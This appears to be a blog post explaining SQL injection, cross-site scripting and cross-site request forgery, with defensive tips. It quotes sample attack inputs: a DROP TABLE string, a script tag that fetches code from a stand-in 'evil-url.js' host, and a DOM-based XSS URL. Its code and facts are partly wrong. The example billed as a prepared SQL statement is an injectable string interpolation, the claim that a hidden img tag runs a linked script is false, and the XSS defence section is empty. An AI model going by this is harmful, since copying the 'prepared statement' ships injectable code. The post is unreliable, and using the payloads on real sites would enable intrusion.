Looking for a great Software Engineer? Or just feel like having a chat? Visit my profile on LinkedIn and say hi! 😃

Common web hack attacks
Common Web Attacks

Security has to be a core part of our work, not an auxiliary skill. As such, it helps to know the most common types of attacks that hackers carry out.

Common Pathways of Attack

The following access points into your application allow a User to provide custom input. A hacker can take advantage of these access points to send malicious code instead of valid data, which can cause unwanted and dangerous effects, and compromise security.

SQL Injection Attack

The goal of a SQL Injection Attack is to cause malicious or unwanted SQL code to be run on your database.

A hacker may send SQL code (e.g. DROP TABLE IF EXISTS customers;) via one of the pathways mentioned above. e.g. in an HTML form field instead of the desired input.

If your app takes the input and places it directly into an SQL statement without first validating or sanitizing it, it will be sent to your database and executed. The attacking code can break out of your intended SQL statement and cause havoc.

“Code injection is the top security threat to web applications” — OWASP

Defense Against SQL Injection Attacks

  • Validate and appropriately Sanitize your inputs
  • Limit the Apps database privileges
  • Limit permission to Create, Drop, and Update tables
  • Don’t grant access privileges to database users
  • Never let the App connect as the root user
  • Use a popular SQL sanitization library
  • Use prepared SQL statements

Here is an example of a prepared SQL statement:

const query = `SELECT * FROM cars WHERE model = ${modelInput}`

Cross Site Scripting Attacks (XSS)

The goal of a XSS Attack is for malicious code to be sent to the browser of another User, via your application.

A hacker may send attacking code via one of the pathways mentioned above. If your app sends this data to another User without first validating and sanitizing it, the attacking code will execute in the victims browser.

For example, you may have a comments section on your site where different Users can post comments and read other Users comments. Instead of posting plain text, a hacker could post a <script src="https://evil-url.js"></script> tag. This will execute in the browser of any User that loads the comments section, and will make a request to https://evil-url.js and run the code it gets from there.

If you allow images in the posts, a hacker could also use a <img src=”https://evil-url.js" style="display: none;" /> tag. The image wouldn’t load, but the attacking script would. The user wouldn’t even see that there was a broken resource.

There are 3 types of XSS Attacks:

  • Reflected
  • Stored
  • DOM-Based

Reflected XSS Attacks

A reflected attack is where the hacker inputs malicious code and the App sends it to other Users’ browsers immediately (hence the name reflected), where it is executed upon receipt. This may be in the form of an error message, search result, or other response.

Stored XSS Attacks

Stored attacks occur when malicious scripts are placed in storage — e.g. databases, files, sessions, or cookies.

When the data is retrieved by the app and placed into HTML, the script will execute once it reaches the victims browser.

DOM-Based XSS Attacks

DOM-Based XSS attacks occur when an applications output is not properly sanitized, and an attacker is able to send malicious code to a victim, usually via a URL which is used somewhere in the page, which then alters the HTML code of the webpage (i.e. the DOM). E.g.

var usernameUrl = https://my-app.com#content=<script>updateUrlsOnPageToMaliciousOnes()</script>

where it is used in code like:

<p>Username: <script>document.write(usernameUrl)</script></p>

Defense Against XSS Attacks

Cross-Site Request Forgery Attacks (CSRF)

A cross-site request forgery attack is when an attacker tricks a user’s browser into sending a request to another site — i.e. a forged request.

One example of a CSRF attack is if a User is still logged in to a service like their bank account, a forged request could use the existing credentials to make an malicious action.

CSRF is different to XSS in that XSS is where the User trusts a website, and that trust is exploited. CSRF is where a web application’s trust for a User’s browser is exploited.

Defense Against CSRF Attacks

  • Use CSRF Tokens
  • Include a referrer in the request
  • Use a custom header
  • Require a second action to confirm the change — e.g. a confirmation page, SMS code, etc


Security is complex, and the attacks are incredibly devious by design. Many times, you won’t even notice that an attack has occurred since any output can be silenced by a successful hacker.

While it’s impossible to ensure total security, you best strategy is to constantly learn about new and emerging trends and effective mitigation strategies.

Happy coding! 😃

I’m a Front End Engineer who loves React, NextJS, and GraphQL. Need a REMOTE React Developer? Contact me at: https://www.linkedin.com/in/bengrunfeld/

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store